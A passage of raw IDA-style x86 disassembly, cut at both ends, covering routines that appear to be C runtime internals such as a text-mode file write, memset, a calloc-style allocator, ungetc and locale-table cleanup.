sub_41A5BE+17Bj pop edi pop esi pop ebp loc_41A7B7: ; CODE XREF: sub_41A5BE+17j pop ebx add esp, 48h retn sub_41A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7BC proc near ; CODE XREF: sub_41A961+52p ; sub_41D96E+91p var_420 = byte ptr -420h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov eax, dword_42CE38 xor eax, [ebp+4] push edi xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+var_14], edi mov [ebp+var_18], edi jnz short loc_41A7E5 xor eax, eax jmp loc_41A953 ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A7BC+20j mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_0] and eax, 1Fh sar ebx, 5 push esi lea esi, [eax+eax*8] lea ebx, ds:47A2E0h[ebx*4] mov eax, [ebx] shl esi, 2 test byte ptr [eax+esi+4], 20h jz short loc_41A818 push 2 push edi push edi push [ebp+arg_0] call sub_41D896 add esp, 10h loc_41A818: ; CODE XREF: sub_41A7BC+4Bj mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41A8EA cmp [ebp+arg_8], edi mov eax, [ebp+arg_4] mov [ebp+var_10], eax mov [ebp+var_8], edi jbe loc_41A925 loc_41A838: ; CODE XREF: sub_41A7BC+F3j mov ecx, [ebp+var_10] sub ecx, [ebp+arg_4] lea eax, [ebp+var_420] mov [ebp+var_C], edi loc_41A847: ; CODE XREF: sub_41A7BC+B5j cmp ecx, [ebp+arg_8] jnb short loc_41A873 mov edx, [ebp+var_10] inc [ebp+var_10] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_41A864 inc [ebp+var_18] mov byte ptr [eax], 0Dh inc eax inc [ebp+var_C] loc_41A864: ; CODE XREF: sub_41A7BC+9Cj mov [eax], dl inc eax inc [ebp+var_C] cmp [ebp+var_C], 400h jl short loc_41A847 loc_41A873: ; CODE XREF: sub_41A7BC+8Ej mov edi, eax lea eax, [ebp+var_420] sub edi, eax push 0 lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_420] push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_41F038 test eax, eax jz short loc_41A8B3 mov eax, [ebp+var_1C] add [ebp+var_14], eax cmp eax, edi jl short loc_41A8BC mov eax, [ebp+var_10] sub eax, [ebp+arg_4] xor edi, edi cmp eax, [ebp+arg_8] jb short loc_41A838 jmp short loc_41A8BE ; --------------------------------------------------------------------------- loc_41A8B3: ; CODE XREF: sub_41A7BC+DCj call ds:dword_41F008 mov [ebp+var_8], eax loc_41A8BC: ; CODE XREF: sub_41A7BC+E6j xor edi, edi loc_41A8BE: ; CODE XREF: sub_41A7BC+F5j ; sub_41A7BC+14Ej ... mov eax, [ebp+var_14] cmp eax, edi jnz loc_41A94E cmp [ebp+var_8], edi jz short loc_41A925 push 5 pop esi cmp [ebp+var_8], esi jnz short loc_41A917 call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 mov [eax], esi jmp short loc_41A920 ; --------------------------------------------------------------------------- loc_41A8EA: ; CODE XREF: sub_41A7BC+64j push edi lea ecx, [ebp+var_1C] push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call ds:dword_41F038 test eax, eax jz short loc_41A90C mov eax, [ebp+var_1C] mov [ebp+var_8], edi mov [ebp+var_14], eax jmp short loc_41A8BE ; --------------------------------------------------------------------------- loc_41A90C: ; CODE XREF: sub_41A7BC+143j call ds:dword_41F008 mov [ebp+var_8], eax jmp short loc_41A8BE ; --------------------------------------------------------------------------- loc_41A917: ; CODE XREF: sub_41A7BC+118j push [ebp+var_8] call sub_417C82 pop ecx loc_41A920: ; CODE XREF: sub_41A7BC+12Cj ; sub_41A7BC+190j or eax, 0FFFFFFFFh jmp short loc_41A951 ; --------------------------------------------------------------------------- loc_41A925: ; CODE XREF: sub_41A7BC+76j ; sub_41A7BC+110j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41A93A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_41A93A xor eax, eax jmp short loc_41A951 ; --------------------------------------------------------------------------- loc_41A93A: ; CODE XREF: sub_41A7BC+170j ; sub_41A7BC+178j call sub_417C70 mov dword ptr [eax], 1Ch call sub_417C79 mov [eax], edi jmp short loc_41A920 ; --------------------------------------------------------------------------- loc_41A94E: ; CODE XREF: sub_41A7BC+107j sub eax, [ebp+var_18] loc_41A951: ; CODE XREF: sub_41A7BC+167j ; sub_41A7BC+17Cj pop esi pop ebx loc_41A953: ; CODE XREF: sub_41A7BC+24j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi call sub_4182D6 leave retn sub_41A7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A961 proc near ; CODE XREF: sub_414AFC+98p ; sub_414AFC+EBp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041A9F0 SIZE 0000001C BYTES push 0Ch push offset stru_4283E8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47A2C8 jnb short loc_41A9F0 mov eax, ebx sar eax, 5 lea edi, ds:47A2E0h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41A9F0 push ebx call sub_41B7AC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41A9C0 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41A7BC add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41A9D7 ; --------------------------------------------------------------------------- loc_41A9C0: ; CODE XREF: sub_41A961+49j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_41A9D7: ; CODE XREF: sub_41A961+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41A9E8 mov eax, [ebp+var_1C] jmp short loc_41AA06 sub_41A961 endp ; =============== S U B R O U T I N E ======================================= sub_41A9E5 proc near ; DATA XREF: .rdata:stru_4283E8o mov ebx, [ebp+8] sub_41A9E5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A9E8 proc near ; CODE XREF: sub_41A961+7Ap push ebx call sub_41B81F pop ecx retn sub_41A9E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A961 loc_41A9F0: ; CODE XREF: sub_41A961+15j ; sub_41A961+35j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41AA06: ; CODE XREF: sub_41A961+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41A961 ; =============== S U B R O U T I N E ======================================= sub_41AA0C proc near ; CODE XREF: sub_414AFC+6Fp ; sub_417455+34p ... arg_0 = dword ptr 4 inc dword_479EB8 push 1000h call sub_41344D test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_41AA35 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41AA46 ; --------------------------------------------------------------------------- loc_41AA35: ; CODE XREF: sub_41AA0C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41AA46: ; CODE XREF: sub_41AA0C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41AA0C endp ; =============== S U B R O U T I N E ======================================= sub_41AA50 proc near ; CODE XREF: sub_414AFC+64p ; sub_418FBC+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_47A2C8 jb short loc_41AA5F xor eax, eax retn ; --------------------------------------------------------------------------- loc_41AA5F: ; CODE XREF: sub_41AA50+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_47A2E0[ecx*4] lea eax, [eax+eax*8] movsx eax, byte ptr [ecx+eax*4+4] and eax, 40h retn sub_41AA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA7A proc near ; CODE XREF: sub_41AADA+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi xor esi, esi cmp ecx, esi jnz short loc_41AA8B xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41AA7A+Bj mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_41AAA4 mov ax, [ebp+arg_8] cmp ax, 0FFh ja short loc_41AAC9 mov [ecx], al xor eax, eax inc eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AAA4: ; CODE XREF: sub_41AA7A+17j lea edx, [ebp+arg_4] push edx push esi push dword ptr [eax+28h] mov [ebp+arg_4], esi push ecx push 1 lea ecx, [ebp+arg_8] push ecx push esi push dword ptr [eax+4] call ds:dword_41F0AC cmp eax, esi jz short loc_41AAC9 cmp [ebp+arg_4], esi jz short loc_41AAD7 loc_41AAC9: ; CODE XREF: sub_41AA7A+21j ; sub_41AA7A+48j call sub_417C70 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh loc_41AAD7: ; CODE XREF: sub_41AA7A+Fj ; sub_41AA7A+28j ... pop esi pop ebp retn sub_41AA7A endp ; =============== S U B R O U T I N E ======================================= sub_41AADA proc near ; CODE XREF: sub_414CA3+317p ; sub_414CA3+6F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_41AAEF call sub_41628E loc_41AAEF: ; CODE XREF: sub_41AADA+Ej push [esp+arg_4] push [esp+4+arg_0] push eax call sub_41AA7A add esp, 0Ch retn sub_41AADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB01 proc near ; CODE XREF: sub_415456+23p ; sub_4154C7+29p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041ABB4 SIZE 00000008 BYTES push 10h push offset stru_4283F8 call __SEH_prolog mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] mov [ebp+var_1C], esi test esi, esi jnz short loc_41AB1C inc esi loc_41AB1C: ; CODE XREF: sub_41AB01+18j ; sub_41AB01+9Fj xor edi, edi mov [ebp+var_20], edi cmp esi, 0FFFFFFE0h ja short loc_41AB8B cmp dword_47A640, 3 jnz short loc_41AB76 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov ebx, [ebp+var_1C] cmp ebx, dword_47A62C ja short loc_41AB76 push 4 call sub_416901 pop ecx and [ebp+ms_exc.disabled], edi push ebx call sub_417159 pop ecx mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41ABAB mov edi, [ebp+var_20] test edi, edi jz short loc_41AB7A push [ebp+var_1C] push 0 push edi call sub_41ADD0 add esp, 0Ch loc_41AB76: ; CODE XREF: sub_41AB01+2Cj ; sub_41AB01+40j test edi, edi jnz short loc_41ABB4 loc_41AB7A: ; CODE XREF: sub_41AB01+65j push esi push 8 push dword_47A63C call ds:dword_41F13C mov edi, eax loc_41AB8B: ; CODE XREF: sub_41AB01+23j test edi, edi jnz short loc_41ABB4 cmp dword_47A014, edi jz short loc_41ABB4 push esi call sub_417AED pop ecx test eax, eax jnz loc_41AB1C jmp short loc_41ABB6 sub_41AB01 endp ; =============== S U B R O U T I N E ======================================= sub_41ABA8 proc near ; DATA XREF: .rdata:stru_4283F8o mov esi, [ebp+0Ch] sub_41ABA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41ABAB proc near ; CODE XREF: sub_41AB01+5Bp push 4 call sub_41686D pop ecx retn sub_41ABAB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AB01 loc_41ABB4: ; CODE XREF: sub_41AB01+77j ; sub_41AB01+8Cj ... mov eax, edi loc_41ABB6: ; CODE XREF: sub_41AB01+A5j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41AB01 ; =============== S U B R O U T I N E ======================================= sub_41ABBC proc near ; CODE XREF: sub_41554C+CFp ; sub_41554C+301p ... arg_0 = dword ptr 4 call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_41ABD1 call sub_41628E loc_41ABD1: ; CODE XREF: sub_41ABBC+Ej cmp dword ptr [eax+28h], 1 jle short loc_41ABE7 push 4 push [esp+4+arg_0] push eax call sub_41608B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41ABE7: ; CODE XREF: sub_41ABBC+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 4 retn sub_41ABBC endp ; =============== S U B R O U T I N E ======================================= sub_41ABF6 proc near ; CODE XREF: sub_41554C+840p ; sub_41554C+922p arg_0 = dword ptr 4 call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_41AC0B call sub_41628E loc_41AC0B: ; CODE XREF: sub_41ABF6+Ej cmp dword ptr [eax+28h], 1 jle short loc_41AC24 push 80h push [esp+4+arg_0] push eax call sub_41608B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41AC24: ; CODE XREF: sub_41ABF6+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 80h retn sub_41ABF6 endp ; =============== S U B R O U T I N E ======================================= sub_41AC35 proc near ; CODE XREF: sub_41554C+3Fp ; sub_41554C+5Ap ... arg_0 = dword ptr 4 call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_41AC4A call sub_41628E loc_41AC4A: ; CODE XREF: sub_41AC35+Ej cmp dword ptr [eax+28h], 1 jle short loc_41AC60 push 8 push [esp+4+arg_0] push eax call sub_41608B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41AC60: ; CODE XREF: sub_41AC35+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 8 retn sub_41AC35 endp ; =============== S U B R O U T I N E ======================================= sub_41AC6F proc near ; CODE XREF: sub_41554C+6Dp ; sub_41554C+3DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41ACBB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41AC8D test al, al jns short loc_41ACBB test al, 2 jnz short loc_41ACBB loc_41AC8D: ; CODE XREF: sub_41AC6F+14j cmp dword ptr [esi+8], 0 jnz short loc_41AC9A push esi call sub_41AA0C pop ecx loc_41AC9A: ; CODE XREF: sub_41AC6F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41ACAA cmp dword ptr [esi+4], 0 jnz short loc_41ACBB inc eax mov [esi], eax loc_41ACAA: ; CODE XREF: sub_41AC6F+30j dec dword ptr [esi] test byte ptr [esi+0Ch], 40h mov eax, [esi] jz short loc_41ACC1 cmp [eax], bl jz short loc_41ACC3 inc eax mov [esi], eax loc_41ACBB: ; CODE XREF: sub_41AC6F+9j ; sub_41AC6F+18j ... or eax, 0FFFFFFFFh loc_41ACBE: ; CODE XREF: sub_41AC6F+6Aj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41ACC1: ; CODE XREF: sub_41AC6F+43j mov [eax], bl loc_41ACC3: ; CODE XREF: sub_41AC6F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and eax, 0FFFFFFEFh or eax, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41ACBE sub_41AC6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACDB proc near ; CODE XREF: sub_41AD9B+22p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx jz short loc_41ACFF cmp [ebp+arg_C], ebx jz short loc_41ACFF mov al, [edi] cmp al, bl jnz short loc_41AD06 mov eax, [ebp+arg_4] cmp eax, ebx jz short loc_41ACFF mov [eax], bx loc_41ACFF: ; CODE XREF: sub_41ACDB+Dj ; sub_41ACDB+12j ... xor eax, eax loc_41AD01: ; CODE XREF: sub_41ACDB+44j ; sub_41ACDB+8Dj ... pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41AD06: ; CODE XREF: sub_41ACDB+18j mov esi, [ebp+arg_0] cmp [esi+14h], ebx jnz short loc_41AD21 mov ecx, [ebp+arg_4] cmp ecx, ebx jz short loc_41AD1C movzx ax, al mov [ecx], ax loc_41AD1C: ; CODE XREF: sub_41ACDB+38j ; sub_41ACDB+ABj xor eax, eax inc eax jmp short loc_41AD01 ; --------------------------------------------------------------------------- loc_41AD21: ; CODE XREF: sub_41ACDB+31j mov ecx, [esi+48h] movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41AD6A mov eax, [esi+28h] cmp eax, 1 jle short loc_41AD58 cmp [ebp+arg_C], eax jl short loc_41AD58 xor ecx, ecx cmp [ebp+arg_4], ebx setnz cl push ecx push [ebp+arg_4] push eax push edi push 9 push dword ptr [esi+4] call ds:dword_41F0A8 test eax, eax jnz short loc_41AD65 loc_41AD58: ; CODE XREF: sub_41ACDB+59j ; sub_41ACDB+5Ej mov eax, [ebp+arg_C] cmp eax, [esi+28h] jb short loc_41AD88 cmp [edi+1], bl jz short loc_41AD88 loc_41AD65: ; CODE XREF: sub_41ACDB+7Bj mov eax, [esi+28h] jmp short loc_41AD01 ; --------------------------------------------------------------------------- loc_41AD6A: ; CODE XREF: sub_41ACDB+51j xor eax, eax cmp [ebp+arg_4], ebx setnz al push eax push [ebp+arg_4] push 1 push edi push 9 push dword ptr [esi+4] call ds:dword_41F0A8 test eax, eax jnz short loc_41AD1C loc_41AD88: ; CODE XREF: sub_41ACDB+83j ; sub_41ACDB+88j call sub_417C70 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_41AD01 sub_41ACDB endp ; =============== S U B R O U T I N E ======================================= sub_41AD9B proc near ; CODE XREF: sub_41554C+68Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_41ADB0 call sub_41628E loc_41ADB0: ; CODE XREF: sub_41AD9B+Ej push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] push eax call sub_41ACDB add esp, 10h retn sub_41AD9B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41ADD0 proc near ; CODE XREF: sub_41554C+512p ; sub_418035+8Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41AE2B xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41AE1B neg ecx and ecx, 3 jz short loc_41ADFD sub edx, ecx loc_41ADF3: ; CODE XREF: sub_41ADD0+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_41ADF3 loc_41ADFD: ; CODE XREF: sub_41ADD0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41AE1B rep stosd test edx, edx jz short loc_41AE25 loc_41AE1B: ; CODE XREF: sub_41ADD0+18j ; sub_41ADD0+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_41AE1B loc_41AE25: ; CODE XREF: sub_41ADD0+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41AE2B: ; CODE XREF: sub_41ADD0+Aj mov eax, [esp+arg_0] retn sub_41ADD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE30 proc near ; CODE XREF: sub_41554C+4DCp ; sub_4182E4+FDp ... var_48 = byte ptr -48h var_44 = dword ptr -44h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 4 pop eax call sub_412DD0 mov ebx, esp push 1Ch lea eax, [ebp+var_24] push eax push ebx call ds:dword_41F1B8 test eax, eax jz short loc_41AEC5 mov edi, [ebp+var_20] lea eax, [ebp+var_48] push eax call ds:dword_41F1B4 mov eax, [ebp+var_44] lea esi, [eax-1] not esi and esi, ebx sub esi, eax mov [ebp+var_4], eax mov eax, dword_479E5C mov ecx, eax dec ecx neg ecx sbb ecx, ecx and ecx, 0FFFF1000h add ecx, 11000h add ecx, edi cmp esi, ecx jb short loc_41AEC5 cmp eax, 1 jz short loc_41AEDD mov ebx, edi mov edi, 1000h loc_41AE9A: ; CODE XREF: sub_41AE30+81j push 1Ch lea eax, [ebp+var_24] push eax push ebx call ds:dword_41F1B8 test eax, eax jz short loc_41AEC5 add ebx, [ebp+var_18] test [ebp+var_14], edi jz short loc_41AE9A test [ebp+var_F], 1 mov ebx, [ebp+var_24] jz short loc_41AEC1 xor eax, eax inc eax jmp short loc_41AEF9 ; --------------------------------------------------------------------------- loc_41AEC1: ; CODE XREF: sub_41AE30+8Aj cmp esi, ebx jnb short loc_41AEC9 loc_41AEC5: ; CODE XREF: sub_41AE30+22j ; sub_41AE30+5Cj ... xor eax, eax jmp short loc_41AEF9 ; --------------------------------------------------------------------------- loc_41AEC9: ; CODE XREF: sub_41AE30+93j push 4 push edi push [ebp+var_4] push ebx call ds:dword_41F174 mov eax, dword_479E5C jmp short loc_41AEDF ; --------------------------------------------------------------------------- loc_41AEDD: ; CODE XREF: sub_41AE30+61j mov ebx, esi loc_41AEDF: ; CODE XREF: sub_41AE30+ABj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp+var_8] push ecx inc eax push eax push [ebp+var_4] push ebx call ds:dword_41F1B0 loc_41AEF9: ; CODE XREF: sub_41AE30+8Fj ; sub_41AE30+97j lea esp, [ebp-54h] pop edi pop esi pop ebx leave retn sub_41AE30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF01 proc near ; CODE XREF: sub_41608B+60p ; sub_4190C6+A4p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 1Ch push offset stru_428408 call __SEH_prolog xor esi, esi cmp dword_47A13C, esi jnz short loc_41AF4C lea eax, [ebp+var_1C] push eax xor edi, edi inc edi push edi push offset dword_427ECC push edi call ds:dword_41F1C0 test eax, eax jz short loc_41AF37 mov dword_47A13C, edi jmp short loc_41AF4C ; --------------------------------------------------------------------------- loc_41AF37: ; CODE XREF: sub_41AF01+2Cj call ds:dword_41F008 cmp eax, 78h jnz short loc_41AF4C mov dword_47A13C, 2 loc_41AF4C: ; CODE XREF: sub_41AF01+14j ; sub_41AF01+34j ... mov eax, dword_47A13C cmp eax, 2 jz loc_41B044 cmp eax, esi jz loc_41B044 cmp eax, 1 jnz loc_41B06A mov [ebp+var_20], esi mov [ebp+var_24], esi cmp [ebp+arg_10], esi jnz short loc_41AF7E mov eax, dword_47A188 mov [ebp+arg_10], eax loc_41AF7E: ; CODE XREF: sub_41AF01+73j push esi push esi push [ebp+arg_8] push [ebp+arg_4] xor eax, eax cmp [ebp+arg_18], esi setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call ds:dword_41F0A8 mov edi, eax mov [ebp+var_28], edi test edi, edi jz loc_41B06A and [ebp+ms_exc.disabled], 0 lea ebx, [edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_412DD0 mov [ebp+ms_exc.old_esp], esp mov esi, esp mov [ebp+var_2C], esi push ebx push 0 push esi call sub_41ADD0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41AFEF ; --------------------------------------------------------------------------- loc_41AFDA: ; DATA XREF: .rdata:stru_428408o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41AFDE: ; DATA XREF: .rdata:stru_428408o mov esp, [ebp+ms_exc.old_esp] call sub_41AE30 xor esi, esi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_28] loc_41AFEF: ; CODE XREF: sub_41AF01+D7j test esi, esi jnz short loc_41B00A push edi push 2 call sub_41AB01 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_41B06A mov [ebp+var_24], 1 loc_41B00A: ; CODE XREF: sub_41AF01+F0j push edi push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_41F0A8 test eax, eax jz short loc_41B032 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_41F1C0 mov [ebp+var_20], eax loc_41B032: ; CODE XREF: sub_41AF01+11Ej cmp [ebp+var_24], 0 jz short loc_41B03F push esi call sub_412FE4 pop ecx loc_41B03F: ; CODE XREF: sub_41AF01+135j mov eax, [ebp+var_20] jmp short loc_41B0B2 ; --------------------------------------------------------------------------- loc_41B044: ; CODE XREF: sub_41AF01+53j ; sub_41AF01+5Bj mov ebx, [ebp+arg_14] cmp ebx, esi jnz short loc_41B051 mov ebx, dword_47A178 loc_41B051: ; CODE XREF: sub_41AF01+148j mov edi, [ebp+arg_10] test edi, edi jnz short loc_41B05E mov edi, dword_47A188 loc_41B05E: ; CODE XREF: sub_41AF01+155j push ebx call sub_41CB47 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_41B06E loc_41B06A: ; CODE XREF: sub_41AF01+64j ; sub_41AF01+A5j ... xor eax, eax jmp short loc_41B0B2 ; --------------------------------------------------------------------------- loc_41B06E: ; CODE XREF: sub_41AF01+167j cmp eax, edi jz short loc_41B090 push 0 push 0 lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push edi call sub_41CB90 add esp, 18h mov esi, eax test esi, esi jz short loc_41B06A mov [ebp+arg_4], esi loc_41B090: ; CODE XREF: sub_41AF01+16Fj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_41F1BC mov edi, eax test esi, esi jz short loc_41B0B0 push esi call sub_412FE4 pop ecx loc_41B0B0: ; CODE XREF: sub_41AF01+1A6j mov eax, edi loc_41B0B2: ; CODE XREF: sub_41AF01+141j ; sub_41AF01+16Bj lea esp, [ebp-38h] call __SEH_epilog retn sub_41AF01 endp ; =============== S U B R O U T I N E ======================================= sub_41B0BB proc near ; CODE XREF: sub_416102+B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_41B249 push dword ptr [esi+4] call sub_412FE4 push dword ptr [esi+8] call sub_412FE4 push dword ptr [esi+0Ch] call sub_412FE4 push dword ptr [esi+10h] call sub_412FE4 push dword ptr [esi+14h] call sub_412FE4 push dword ptr [esi+18h] call sub_412FE4 push dword ptr [esi] call sub_412FE4 push dword ptr [esi+20h] call sub_412FE4 push dword ptr [esi+24h] call sub_412FE4 push dword ptr [esi+28h] call sub_412FE4 push dword ptr [esi+2Ch] call sub_412FE4 push dword ptr [esi+30h] call sub_412FE4 push dword ptr [esi+34h] call sub_412FE4 push dword ptr [esi+1Ch] call sub_412FE4 push dword ptr [esi+38h] call sub_412FE4 push dword ptr [esi+3Ch] call sub_412FE4 add esp, 40h push dword ptr [esi+40h] call sub_412FE4 push dword ptr [esi+44h] call sub_412FE4 push dword ptr [esi+48h] call sub_412FE4 push dword ptr [esi+4Ch] call sub_412FE4 push dword ptr [esi+50h] call sub_412FE4 push dword ptr [esi+54h] call sub_412FE4 push dword ptr [esi+58h] call sub_412FE4 push dword ptr [esi+5Ch] call sub_412FE4 push dword ptr [esi+60h] call sub_412FE4 push dword ptr [esi+64h] call sub_412FE4 push dword ptr [esi+68h] call sub_412FE4 push dword ptr [esi+6Ch] call sub_412FE4 push dword ptr [esi+70h] call sub_412FE4 push dword ptr [esi+74h] call sub_412FE4 push dword ptr [esi+78h] call sub_412FE4 push dword ptr [esi+7Ch] call sub_412FE4 add esp, 40h push dword ptr [esi+80h] call sub_412FE4 push dword ptr [esi+84h] call sub_412FE4 push dword ptr [esi+88h] call sub_412FE4 push dword ptr [esi+8Ch] call sub_412FE4 push dword ptr [esi+90h] call sub_412FE4 push dword ptr [esi+94h] call sub_412FE4 push dword ptr [esi+98h] call sub_412FE4 push dword ptr [esi+9Ch] call sub_412FE4 push dword ptr [esi+0A0h] call sub_412FE4 push dword ptr [esi+0A4h] call sub_412FE4 push dword ptr [esi+0A8h] call sub_412FE4 add esp, 2Ch loc_41B249: ; CODE 